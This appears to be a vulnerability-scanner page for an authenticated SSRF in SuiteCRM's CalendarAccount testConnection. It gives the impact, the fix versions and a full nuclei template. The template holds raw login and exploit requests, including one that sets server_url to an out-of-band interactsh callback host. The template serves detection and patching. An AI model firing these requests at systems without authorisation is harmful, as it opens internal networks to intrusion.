SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF

highseverity

7.7CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.

Impact

An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data through error messages.

Fix

Upgrade to SuiteCRM 7.15.2, 8.10.2, or a later release.

How to confirm it

Send: POST /index.php
Positive when: status_code == 302 and contains(header, "PHPSESSID=")
Send: POST /index.php
Positive when: status_code == 200 and contains(interactsh_protocol, http)

Run it with nuclei: nuclei -id CVE-2026-69137 -u <target>

The full check

id: CVE-2026-69137

info:
  name: SuiteCRM <= 7.15.1, <= 8.10.1 - Authenticated SSRF
  author: EntroVyx
  severity: high
  description: |
    SuiteCRM CalendarAccount testConnection accepts an attacker-controlled server_url and passes it to cURL without destination validation. An authenticated user can cause a server-side request to loopback or internal network services.
  impact: |
    An authenticated attacker can access internal HTTP services from the SuiteCRM server's network context and may obtain response data through error messages.
  remediation: |
    Upgrade to SuiteCRM 7.15.2, 8.10.2, or a later release.
  reference:
    - https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69137
  classification:
    cve-id: CVE-2026-69137
    epss-score: 0.03759
    epss-percentile: 0.89989
    cwe-id: CWE-918
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
  metadata:
    verified: true
    max-request: 2
    vendor: suitecrm
    product: suitecrm
    shodan-query: http.title:"SuiteCRM"
  tags: cve,cve2026,suitecrm,ssrf,authenticated,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        module=Users&action=Authenticate&user_name={{username}}&username_password={{url_encode(password)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "PHPSESSID=")'
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        module=CalendarAccount&action=testConnection&source=caldav_basic&username=nuclei&password=nuclei&server_url=http%3A%2F%2F{{interactsh-url}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, http)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from